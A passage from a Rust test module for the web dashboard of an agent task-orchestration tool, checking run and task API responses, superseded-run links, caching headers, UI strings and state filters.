22568 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
22569 ));
22570 assert!(body.contains("renderUpgradeError();"));
22571 assert!(INDEX_HTML.contains("id=\"upgrade-error\""));
22572 }
22573
22574 #[test]
22575 fn an_overdue_upgrade_eventually_asks_for_a_human() {
22576 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
22579 assert!(APP_JS.contains("function upgradeOverdue("));
22580 }
22581
22582 #[test]
22583 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
22584 assert!(
22585 APP_JS.contains("Updated to ${upgradeInfo.to"),
22586 "the operator who asked for the restart wants to know it worked"
22587 );
22588 }
22589
22590 #[test]
22591 fn an_error_is_visible_from_where_the_button_is() {
22592 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
22597 ..APP_CSS.find(".alert-text").expect(".alert-text")];
22598 assert!(
22599 alert.contains("position: fixed"),
22600 "an error about the thing under your thumb has to be visible from \
22601 where your thumb is: {alert}"
22602 );
22603 assert!(
22604 alert.contains("z-index: 25"),
22605 "above the dock (20) and the run-actions FAB (15), so neither \
22606 buries it: {alert}"
22607 );
22608 assert!(
22609 alert.contains("var(--tap)"),
22610 "and clear of the dock and the home indicator: {alert}"
22611 );
22612 assert!(
22615 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
22616 "the FAB's column stays free: {alert}"
22617 );
22618 }
22619
22620 #[tokio::test]
22621 async fn an_older_attempt_says_what_replaced_it() {
22622 let fx = Fixture::start().await;
22623 let q = fx.queue();
22624 let runs = fx.runs();
22625 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
22626 write_run(&runs, first, RunStatus::Stalled);
22627 write_run(&runs, second, RunStatus::Blocked);
22628
22629 let mut t = Task::new(
22630 "one task".to_owned(),
22631 "do it".to_owned(),
22632 PathBuf::from("/repo"),
22633 Source::Human,
22634 );
22635 t.runs = vec![first.to_owned(), second.to_owned()];
22636 q.put(&mut t).expect("put");
22637
22638 let rows = fx.get("/api/runs").await.json();
22642 let by = |short: &str| -> Value {
22643 rows.as_array()
22644 .unwrap()
22645 .iter()
22646 .find(|r| r["short"] == short)
22647 .cloned()
22648 .unwrap_or(Value::Null)
22649 };
22650 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
22651 assert!(
22652 by("bbbb")["superseded_by"].is_null(),
22653 "the latest attempt is not superseded by anything"
22654 );
22655 assert!(APP_JS.contains("run.superseded_by"));
22657 assert!(APP_JS.contains("Superseded by"));
22658 }
22659
22660 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
22661 let mut t = Task::new(
22662 "one task".to_owned(),
22663 "do it".to_owned(),
22664 PathBuf::from("/repo"),
22665 Source::Human,
22666 );
22667 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
22668 t.status = status;
22669 t
22670 }
22671
22672 #[test]
22673 fn source_link_picks_the_page_that_filed_the_task() {
22674 let agent = |node: &str| Source::Agent {
22675 run: "20260904-014455-ab12".to_owned(),
22676 node: node.to_owned(),
22677 };
22678 let chat = source_link(&agent("chat")).expect("chat link");
22679 assert_eq!(chat.kind, "chat");
22680 assert_eq!(chat.id, "20260904-014455-ab12");
22681 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
22682 let run = source_link(&agent("implement")).expect("run link");
22683 assert_eq!(
22684 (run.kind, run.href.as_str()),
22685 ("run", "#/runs/20260904-014455-ab12")
22686 );
22687 assert_eq!(source_link(&Source::Human), None);
22688 assert_eq!(
22689 source_link(&Source::Issue {
22690 number: 3,
22691 repo: "o/r".to_owned()
22692 }),
22693 None
22694 );
22695 let odd = source_link(&Source::Agent {
22696 run: "a b/c".to_owned(),
22697 node: "chat".to_owned(),
22698 })
22699 .expect("link");
22700 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
22701 }
22702
22703 #[test]
22704 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
22705 assert!(
22706 !APP_JS.contains("src.node === \"chat\""),
22707 "inline href rule is back"
22708 );
22709 assert!(
22710 APP_JS.matches("sourceLinkOf(").count() >= 4,
22711 "helper must serve every page"
22712 );
22713 assert!(
22714 APP_JS.matches("openChatLink(").count() >= 3,
22715 "the run page still needs its explicit chat link"
22716 );
22717 assert!(
22718 !APP_JS.contains("const openChat = el("),
22719 "the Queue card duplicates its source label link again"
22720 );
22721 assert!(
22722 APP_JS.contains("metaKids.push(link ? el(\"a\""),
22723 "the task page must link a chat source label too"
22724 );
22725 }
22726
22727 #[test]
22728 fn task_ref_carries_the_source_link_for_a_chat_task() {
22729 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
22730 t.source = Source::Agent {
22731 run: "20260904-014455-ab12".to_owned(),
22732 node: "chat".to_owned(),
22733 };
22734 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
22735 let v = serde_json::to_value(&out).expect("json");
22736 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
22737 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
22738 assert_eq!(v["source_label"], t.source.label());
22739
22740 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
22741 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
22742 .expect("json");
22743 assert!(v["source_link"].is_null(), "{v}");
22744 }
22745
22746 #[test]
22747 fn task_view_serializes_source_link() {
22748 let mut t = Task::new(
22749 "t".to_owned(),
22750 "t".to_owned(),
22751 PathBuf::from("/repo"),
22752 Source::Agent {
22753 run: "20260901-000000-aaaa".to_owned(),
22754 node: "implement".to_owned(),
22755 },
22756 );
22757 t.runs.clear();
22758 let v = serde_json::to_value(TaskView::from(t)).expect("json");
22759 assert_eq!(v["source_link"]["kind"], "run", "{v}");
22760 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
22761 }
22762
22763 #[test]
22764 fn task_view_serializes_urgent_flag() {
22765 let mut t = Task::new(
22766 "t".to_owned(),
22767 "t".to_owned(),
22768 PathBuf::from("/repo"),
22769 Source::Human,
22770 );
22771 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
22772 assert_eq!(v["urgent"], false, "{v}");
22773 t.urgent = true;
22774 let v = serde_json::to_value(TaskView::from(t)).expect("json");
22775 assert_eq!(v["urgent"], true, "{v}");
22776 assert!(APP_JS.contains("task.urgent === true"));
22777 }
22778
22779 #[tokio::test]
22780 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
22781 let fx = Fixture::start().await;
22782 let runs = fx.runs();
22783 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
22784 write_run(&runs, old, RunStatus::Blocked);
22785 write_run(&runs, new, RunStatus::Merged);
22786 let mut t = outcome_task(&[old, new], TaskStatus::Done);
22787 fx.queue().put(&mut t).expect("put");
22788
22789 let view = fx.get(&format!("/api/runs/{old}")).await.json();
22790 let task = &view["task"];
22791 assert_eq!(task["status"], "done");
22792 assert_eq!(task["is_latest"], false);
22793 assert_eq!(task["latest"]["short"], "bbbb");
22794 assert_eq!(task["finished_by"]["id"], new);
22795 assert_eq!(task["finished_by"]["outcome"], "merged");
22796 assert_eq!(task["closed_by_hand"], false);
22797 assert_eq!(view["status"], "blocked", "the run keeps its own status");
22798 assert!(APP_JS.contains("finished_by"));
22799 assert!(APP_JS.contains("superseded by run"));
22800 }
22801
22802 #[tokio::test]
22803 async fn the_latest_run_reports_a_held_task_without_a_successor() {
22804 let fx = Fixture::start().await;
22805 let runs = fx.runs();
22806 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
22807 write_run(&runs, old, RunStatus::Stalled);
22808 write_run(&runs, new, RunStatus::Blocked);
22809 let mut t = outcome_task(&[old, new], TaskStatus::Held);
22810 fx.queue().put(&mut t).expect("put");
22811
22812 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
22813 assert_eq!(task["status"], "held");
22814 assert_eq!(task["is_latest"], true);
22815 assert!(task["latest"].is_null());
22816 assert!(task["finished_by"].is_null());
22817 assert_eq!(task["closed_by_hand"], false);
22818 }
22819
22820 #[tokio::test]
22821 async fn a_direct_run_has_no_task_outcome() {
22822 let fx = Fixture::start().await;
22823 let runs = fx.runs();
22824 let id = "20260901-000000-aaaa";
22825 write_run(&runs, id, RunStatus::Blocked);
22826 let view = fx.get(&format!("/api/runs/{id}")).await.json();
22827 assert!(view["task"].is_null());
22828 }
22829
22830 #[test]
22831 fn task_outcome_does_not_guess_a_finishing_run() {
22832 let a = "20260901-000000-aaaa";
22833 let b = "20260901-000000-bbbb";
22834 let c = "20260901-000000-cccc";
22835 let dir = tempfile::tempdir().expect("tempdir");
22836 write_run(dir.path(), a, RunStatus::Blocked);
22837 write_run(dir.path(), b, RunStatus::VerifiedNoop);
22838 let read = |id: &str| read_run(dir.path(), id).ok();
22840 let t = outcome_task(&[a, b, c], TaskStatus::Done);
22843 let out = task_outcome(&t, a, 3, read);
22844 assert!(out.finished_by.is_none());
22845 assert!(out.closed_by_hand);
22846 let latest = out.latest.expect("latest");
22847 assert_eq!(latest.id, c);
22848 assert_eq!(latest.status, None);
22849 assert_eq!(latest.outcome, "record unreadable");
22850
22851 write_run(dir.path(), c, RunStatus::Ready);
22853 let t = outcome_task(&[a, c], TaskStatus::Done);
22854 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
22855 assert_eq!(out.finished_by.expect("finisher").id, c);
22856 assert!(!out.closed_by_hand);
22857
22858 let t = outcome_task(&[a, b, a], TaskStatus::Held);
22860 assert!(task_outcome(&t, a, 3, read).is_latest);
22861 }
22862
22863 #[tokio::test]
22864 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
22865 let fx = Fixture::start().await;
22870 let q = fx.queue();
22871 let runs = fx.runs();
22872 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
22873 write_run(&runs, first, RunStatus::Blocked);
22874 write_run(&runs, second, RunStatus::Merged);
22875
22876 let mut t = Task::new(
22877 "one task".to_owned(),
22878 "do it".to_owned(),
22879 PathBuf::from("/repo"),
22880 Source::Human,
22881 );
22882 t.runs = vec![first.to_owned(), second.to_owned()];
22883 q.put(&mut t).expect("put");
22884
22885 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
22886 assert_eq!(earlier["superseded_by"], "dddd");
22887 assert_eq!(earlier["latest_attempt"]["id"], second);
22888 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
22889 assert_eq!(
22890 earlier["latest_attempt"]["resolved"], true,
22891 "the run that replaced it landed, so this one reads as settled"
22892 );
22893
22894 let later = fx.get(&format!("/api/runs/{second}")).await.json();
22895 assert!(
22896 later["superseded_by"].is_null(),
22897 "the latest attempt is not superseded by anything"
22898 );
22899 assert!(
22900 later["latest_attempt"].is_null(),
22901 "the latest attempt has no later attempt of its own"
22902 );
22903
22904 assert!(APP_JS.contains("run.latest_attempt"));
22911 assert!(APP_JS.contains("data-superseded"));
22912 assert!(APP_JS.contains("#/runs/${latest.id}"));
22913 }
22914
22915 #[tokio::test]
22916 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
22917 let fx = Fixture::start().await;
22923 let q = fx.queue();
22924 let runs = fx.runs();
22925 let (a, b, c) = (
22926 "20260901-000000-aaaa",
22927 "20260901-000000-bbbb",
22928 "20260901-000000-cccc",
22929 );
22930 write_run(&runs, a, RunStatus::Blocked);
22931 write_run(&runs, b, RunStatus::Blocked);
22932 write_run(&runs, c, RunStatus::Merged);
22933
22934 let mut t = Task::new(
22935 "retried twice".to_owned(),
22936 "do it".to_owned(),
22937 PathBuf::from("/repo"),
22938 Source::Human,
22939 );
22940 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
22941 q.put(&mut t).expect("put");
22942
22943 let view = fx.get(&format!("/api/runs/{a}")).await.json();
22944 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
22945 assert_eq!(
22946 view["latest_attempt"]["id"], c,
22947 "the chain's current head, not the intermediate Blocked retry"
22948 );
22949 assert_eq!(view["latest_attempt"]["resolved"], true);
22950
22951 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
22952 assert_eq!(mid["latest_attempt"]["id"], c);
22953 assert_eq!(mid["latest_attempt"]["resolved"], true);
22954 }
22955
22956 #[tokio::test]
22957 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
22958 let fx = Fixture::start().await;
22959 let q = fx.queue();
22960 let runs = fx.runs();
22961
22962 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
22965 write_run(&runs, still_blocked_a, RunStatus::Blocked);
22966 write_run(&runs, still_blocked_b, RunStatus::Blocked);
22967 let mut t1 = Task::new(
22968 "still stuck".to_owned(),
22969 "do it".to_owned(),
22970 PathBuf::from("/repo"),
22971 Source::Human,
22972 );
22973 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
22974 q.put(&mut t1).expect("put");
22975 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
22976 assert_eq!(view1["latest_attempt"]["resolved"], false);
22977 assert_eq!(view1["latest_attempt"]["status"], "blocked");
22978 assert_eq!(view1["latest_attempt"]["done"], true);
22979
22980 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
22982 write_run(&runs, run_a, RunStatus::Blocked);
22983 write_run(&runs, run_b, RunStatus::Implementing);
22984 let mut t3 = Task::new(
22985 "retrying".to_owned(),
22986 "do it".to_owned(),
22987 PathBuf::from("/repo"),
22988 Source::Human,
22989 );
22990 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
22991 q.put(&mut t3).expect("put");
22992 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
22993 assert_eq!(view3["latest_attempt"]["id"], run_b);
22994 assert_eq!(view3["latest_attempt"]["resolved"], false);
22995 assert_eq!(view3["latest_attempt"]["done"], false);
22996
22997 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
23002 write_run(&runs, noop_a, RunStatus::Blocked);
23003 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
23004 let mut t2 = Task::new(
23005 "claims done".to_owned(),
23006 "do it".to_owned(),
23007 PathBuf::from("/repo"),
23008 Source::Human,
23009 );
23010 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
23011 q.put(&mut t2).expect("put");
23012 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
23013 assert_eq!(
23014 view2["latest_attempt"]["resolved"], false,
23015 "an unverified no-op claim must not read as a confirmed finish"
23016 );
23017
23018 assert!(APP_JS.contains("latest.resolved"));
23021 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
23024 assert!(APP_JS.contains("Latest attempt: "));
23025 assert!(APP_JS.contains("in flight"));
23026 assert!(APP_JS.contains("not resolved"));
23027 }
23028
23029 #[tokio::test]
23030 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
23031 let fx = Fixture::start().await;
23032 let js = fx.get("/app.js").await;
23038 assert_eq!(js.status, 200);
23039 let tag = js
23040 .header("etag")
23041 .expect("an etag to revalidate against")
23042 .to_owned();
23043 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
23044 assert_eq!(
23045 js.header("cache-control"),
23046 Some("no-cache, must-revalidate"),
23047 "the phone has to ask every time"
23048 );
23049
23050 let again = fx
23053 .get_with("/app.js", &[("if-none-match", tag.as_str())])
23054 .await;
23055 assert_eq!(
23056 again.status, 304,
23057 "a deck it already has costs one round trip"
23058 );
23059 assert!(again.body.is_empty(), "304 carries no body");
23060
23061 let weak = fx
23064 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
23065 .await;
23066 assert_eq!(weak.status, 304);
23067 let stale = fx
23068 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
23069 .await;
23070 assert_eq!(stale.status, 200, "an older build must be replaced");
23071 assert!(stale.body.contains("renderRunActions"));
23072 }
23073
23074 #[test]
23075 fn the_task_detail_has_an_actions_fab_and_sheet() {
23076 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
23077 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
23078 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
23079 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
23081 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
23082 assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
23084 assert!(APP_JS.contains("renderTaskActions(null);"));
23085 let sheet = APP_JS
23087 .find("function renderTaskActions")
23088 .expect("sheet renderer");
23089 let body = &APP_JS[sheet..sheet + 3000];
23090 assert!(body.contains("changePriority("));
23091 assert!(body.contains("openTaskEdit(task)"));
23092 assert!(body.contains("renderTaskHoldBox(host"));
23093 assert!(body.contains("renderTaskDoneBox(host"));
23094 assert!(body.contains("renderTaskDeleteBox(host"));
23095 assert!(APP_JS.contains("API.priority(id)"));
23096 assert!(APP_JS.contains("API.deleteTask(id)"));
23097 assert!(APP_JS.contains("location.hash = \"#/queue\""));
23099 assert!(APP_JS.contains("$(\"task-actions-error\")"));
23101 }
23102
23103 #[test]
23104 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
23105 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
23106 let actions = INDEX_HTML
23107 .find("id=\"run-actions-box\"")
23108 .expect("actions box");
23109 assert!(task < actions, "the task entry comes first in the sheet");
23110 assert!(APP_JS.contains("renderRunTaskEntry"));
23111 assert!(APP_JS.contains("\"Open task \""));
23112 assert!(APP_JS.contains("started directly, no task"));
23114 assert!(APP_JS.contains("sheet-task-link"));
23115 assert!(APP_JS.contains("task-chip-link"));
23116 }
23117
23118 #[test]
23119 fn the_deck_never_sends_the_operator_to_a_terminal() {
23120 assert!(
23123 !APP_JS.contains("Run `magi fold` first"),
23124 "the deck must offer the fold, not prescribe a shell command"
23125 );
23126 assert!(APP_JS.contains("foldRun:"));
23127 assert!(APP_JS.contains("resumeRun:"));
23128 assert!(APP_JS.contains("renderRunActions"));
23129
23130 assert!(APP_JS.contains("armedFold"));
23132 assert!(APP_JS.contains("Yes, fold worktrees"));
23133
23134 assert!(APP_JS.contains("can no longer be resumed"));
23137 }
23138
23139 #[test]
23140 fn a_finished_run_explains_itself_with_its_own_last_line() {
23141 assert!(
23147 !APP_JS.contains("collapsed on agent quota"),
23148 "a stall must not be explained by a cause the deck did not check"
23149 );
23150 assert!(
23151 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
23152 "and a block must not offer a guess with an `or` in it"
23153 );
23154
23155 assert!(
23159 APP_JS.contains("setText(r.event, run.event || \"\")"),
23160 "the run's last line is rendered unconditionally"
23161 );
23162 assert!(
23163 !APP_JS.contains("moving && run.event"),
23164 "and never gated on the run still moving"
23165 );
23166
23167 assert!(APP_JS.contains("lost to quota"));
23169 }
23170
23171 #[test]
23193 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
23194 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
23195 let shapes_body_start =
23196 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
23197 let shapes_close = APP_JS[shapes_body_start..]
23198 .find("].map(")
23199 .expect("the shape list is closed by its done-computing .map(...)")
23200 + shapes_body_start;
23201 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
23202
23203 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
23204 for entry in shapes_src.split('{').skip(1) {
23205 let waiting = entry.contains("waiting: true");
23206 let dead = entry.contains("live: \"dead\"");
23207 let status_at =
23208 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
23209 let status_end = entry[status_at..]
23210 .find('"')
23211 .expect("the status string is closed")
23212 + status_at;
23213 let parked = entry.contains("display_status: \"parked\"");
23214 shapes.push((
23215 waiting,
23216 entry[status_at..status_end].to_string(),
23217 dead,
23218 parked,
23219 ));
23220 }
23221 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
23222
23223 let done_rule_marker = "done: !";
23227 let done_rule_at = APP_JS[shapes_close..]
23228 .find(done_rule_marker)
23229 .expect("the done rule follows the shape list")
23230 + shapes_close
23231 + done_rule_marker.len();
23232 let includes_at = APP_JS[done_rule_at..]
23233 .find(".includes(shape.status)")
23234 .expect("the done rule ends in .includes(shape.status)")
23235 + done_rule_at;
23236 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
23237 .trim()
23238 .trim_start_matches('[')
23239 .trim_end_matches(']')
23240 .split(',')
23241 .map(|s| s.trim().trim_matches('"'))
23242 .filter(|s| !s.is_empty())
23243 .collect();
23244
23245 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
23246 .into_iter()
23247 .map(|(waiting, status, dead, parked)| {
23248 let done = !not_done.contains(&status.as_str());
23249 (waiting, status, dead, parked, done)
23250 })
23251 .collect();
23252
23253 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
23257 if waiting {
23258 return "waiting";
23259 }
23260 if dead
23261 && !parked
23262 && !matches!(
23263 status,
23264 "merged"
23265 | "ready"
23266 | "stalled"
23267 | "blocked"
23268 | "failed"
23269 | "verified_noop"
23270 | "superseded"
23271 | "already_in_base"
23272 )
23273 {
23274 return "stale";
23275 }
23276 match status {
23277 "merged" | "ready" => "landed",
23278 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
23279 | "already_in_base" => "ended",
23280 _ => "flight",
23281 }
23282 }
23283
23284 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
23287 match filter_key {
23288 "active" => !done,
23289 "flight" => !done && !waiting && !dead,
23290 "stale" => !done && !waiting && dead,
23291 "waiting" => waiting,
23292 "done" => done,
23293 "all" => true,
23294 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
23295 }
23296 }
23297
23298 let compatible = |section: &str, filter_key: &str| {
23299 shapes.iter().any(|(waiting, status, dead, parked, done)| {
23300 run_section(*waiting, status, *dead, *parked) == section
23301 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
23302 })
23303 };
23304
23305 let expected = [
23310 ("waiting", [true, false, false, true, true, true]),
23311 ("stale", [true, false, true, false, false, true]),
23312 ("flight", [true, true, false, false, false, true]),
23313 ("landed", [false, false, false, false, true, true]),
23314 ("ended", [false, false, false, false, true, true]),
23315 ];
23316 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
23317
23318 for (section, wants) in expected {
23319 for (filter_key, want) in filter_keys.iter().zip(wants) {
23320 assert_eq!(
23321 compatible(section, filter_key),
23322 want,
23323 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
23324 );
23325 }
23326 }
23327
23328 assert!(
23331 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
23332 );
23333 assert!(APP_JS.contains(
23334 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
23335 ));
23336 assert!(APP_JS.contains(
23337 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
23338 ));
23339 }
23340
23341 #[tokio::test]
23342 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
23343 let dir = tempfile::tempdir().expect("tempdir");
23347 let explicit = dir.path().join("not-a-checkout");
23348 std::fs::create_dir_all(&explicit).expect("create dir");
23349 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
23350
23351 let missing = dir.path().join("does-not-exist-at-all");
23352 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
23353 }
23354
23355 #[test]
23356 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
23357 assert!(APP_JS.contains("function statsDonutArcs"));
23358 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
23359 assert!(APP_JS.contains("function statusInBucket"));
23361 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
23362 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
23363 let buckets = [
23364 "merged",
23365 "ready",
23366 "in_progress",
23367 "blocked",
23368 "failed",
23369 "verified_noop",
23370 "superseded",
23371 "stalled",
23372 ];
23373 for key in buckets {
23374 let var = format!("--verdict-{key}:");
23375 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
23377 assert!(
23378 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
23379 "{key}"
23380 );
23381 }
23382 }
23383
23384 #[tokio::test]
23385 async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
23386 let dir = tempfile::tempdir().expect("tempdir");
23387 let queue = Queue::at(dir.path().join("queue"));
23388 let talks = Talks::at(dir.path().join("talks"));
23389 std::fs::create_dir_all(queue.root()).unwrap();
23390 std::fs::create_dir_all(talks.root()).unwrap();
23391
23392 std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
23394 std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
23395
23396 let mut task = Task::new(
23398 "title".into(),
23399 "inst".into(),
23400 PathBuf::from("/repo"),
23401 Source::Human,
23402 );
23403 task.id = "20261019-123456-abcd".into();
23404 std::fs::write(
23406 queue.path_of(&task.id),
23407 serde_json::to_string(&task).unwrap(),
23408 )
23409 .unwrap();
23410
23411 let talk_id = "20261019-234567-cdef";
23412 seed_talk_at(&talks, talk_id, "open");
23413
23414 assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
23416 assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
23417
23418 assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
23420 assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
23421 }
23422
23423 #[tokio::test]
23424 async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
23425 let home = tempfile::tempdir().unwrap();
23426 let ui = delta_test_ui(home.path());
23427 std::fs::write(ui.queue.root(), "not a directory").unwrap();
23429 std::fs::write(ui.talks.root(), "not a directory").unwrap();
23430 assert!(
23431 questions_list(State(ui.clone()))
23432 .await
23433 .unwrap()
23434 .0
23435 .is_empty()
23436 );
23437 assert!(
23438 question_origins(State(ui.clone()))
23439 .await
23440 .unwrap()
23441 .0
23442 .is_empty()
23443 );
23444 let mut question = Question::new(
23445 "run-history".into(),
23446 "review".into(),
23447 "seat".into(),
23448 "Useful question".into(),
23449 "Useful detail".into(),
23450 vec![],
23451 );
23452 ui.questions.put(&mut question).unwrap();
23453 let core = questions_core(State(ui.clone())).await.unwrap().0;
23454 assert_eq!(core.len(), 1);
23455 assert_eq!(core[0].question.summary, "Useful question");
23456 assert!(!core[0].can_consult_chat);
23457 assert!(core[0].origin_chat.is_none());
23458 assert_eq!(core[0].record_revision, question_record_revision(&question));
23459 assert!(question_origins(State(ui.clone())).await.is_err());
23460 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
23461 }
23462
23463 #[test]
23464 fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
23465 let home = tempfile::tempdir().unwrap();
23466 let ui = delta_test_ui(home.path());
23467 let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
23468 for i in 0..1000 {
23469 let mut task = Task::new(
23470 "unrelated".into(),
23471 "instruction ".repeat(256),
23472 PathBuf::from("/repo"),
23473 Source::Human,
23474 );
23475 task.id = format!("history-{i:04}");
23476 ui.queue.put(&mut task).unwrap();
23477 let id = seed_talk_at(&ui.talks, &task.id, "open");
23478 let mut talk = ui.talks.get(&id).unwrap();
23479 talk.pending = "history ".repeat(256);
23480 ui.talks.put(&mut talk).unwrap();
23481 }
23482 let mut parent = Task::new(
23483 "parent".into(),
23484 "body".into(),
23485 PathBuf::from("/repo"),
23486 Source::Agent {
23487 run: chat_id.clone(),
23488 node: crate::queue::CHAT_NODE.into(),
23489 },
23490 );
23491 parent.id = "task-parent".into();
23492 parent.runs = vec!["run-parent".into()];
23493 ui.queue.put(&mut parent).unwrap();
23494 let mut child = Task::new(
23495 "child".into(),
23496 "body".into(),
23497 PathBuf::from("/repo"),
23498 Source::Human,
23499 );
23500 child.id = "task-child".into();
23501 child.runs = vec!["run-child".into()];
23502 child.followup = Some(crate::queue::FollowUp {
23503 run: "run-parent".into(),
23504 origin_task: Some(parent.id.clone()),
23505 pr: "https://example.invalid/pr/1".into(),
23506 findings: vec![],
23507 generation: 1,
23508 });
23509 ui.queue.put(&mut child).unwrap();
23510 let mut question = Question::new(
23511 child.id.clone(),
23512 crate::conduct::NODE.into(),
23513 "seat".into(),
23514 "Continue?".into(),
23515 String::new(),
23516 vec![],
23517 );
23518 let (tasks, talks) = question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23519 assert_eq!(tasks.len(), 2);
23520 assert_eq!(talks.len(), 1);
23521 assert_eq!(
23522 ui.monitor.queue_index.lock().unwrap().reparsed,
23523 0,
23524 "exact ancestry bypasses the index"
23525 );
23526 assert_eq!(
23527 crate::consult::origin_talk(&tasks, &talks, &question)
23528 .unwrap()
23529 .id,
23530 chat_id
23531 );
23532 question.run = "run-child".into();
23533 question.node = "review".into();
23534 for origin_task in [Some(parent.id.clone()), None] {
23535 child.followup.as_mut().unwrap().origin_task = origin_task;
23536 ui.queue.put(&mut child).unwrap();
23537 let (tasks, talks) =
23538 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23539 let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
23540 let expected =
23541 crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
23542 .unwrap();
23543 assert_eq!(actual.id, expected.id);
23544 assert!(!actual.status.open());
23545 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
